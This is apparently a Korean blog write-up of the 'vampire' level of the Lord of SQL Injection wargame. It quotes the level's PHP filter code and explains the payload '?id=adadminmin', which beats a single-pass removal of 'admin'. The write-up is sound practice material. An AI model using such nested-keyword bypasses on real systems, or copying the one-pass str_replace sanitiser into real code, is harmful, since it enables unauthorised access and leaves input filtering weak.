Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 |
Tags
- union sql injection
- CTF
- 모의해킹
- FridaLab
- lord of sql injection
- blind sql injection
- file upload
- XSS
- JS
- sql injection point
- 과제
- 웹 개발
- 보안 패치
- 게시판 만들기
- 로그인
- 증적 사진
- Error based sql injection
- 보고서
- Python
- 로그인페이지
- sql injection
- csrf
- 세션
- 웹개발
- MySQL
- 문제 풀이
- Los
- 웹 해킹
- php
- cookie 탈취
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] vampire 풀이 본문
LOS 풀이
vampire

풀이
1. 코드 분석
GET 메서드의 id 파라미터를 쿼리에 삽입하고 쿼리 결과의 id가 admin인 경우 문제가 풀립니다.
$query = "select id from prob_vampire where id='{$_GET[id]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
' 를 필터링하고 id 파라미터의 값을 소문자로 변경한 뒤 admin 문자를 공백으로 치환합니다.
admin을 공백으로 치환하기 때문에 adadminmin처럼 admin이 사라질때 admin이 되도록 만들면 우회가 가능합니다.
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
2. 쿼리 삽입
?id=adadminmin를 삽입합니다.

'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
| [Lord of SQL Injection] golem 문제 풀이 (0) | 2025.04.17 |
|---|---|
| [Lord of SQL Injection] skeleton 풀이 (1) | 2025.01.06 |
| [Lord of SQL Injection] troll 풀이 (2) | 2025.01.06 |
| [Lord of SQL Injection] orge 풀이 (1) | 2025.01.06 |
| [Lord of SQL Injection] darkelf 풀이 (2) | 2025.01.06 |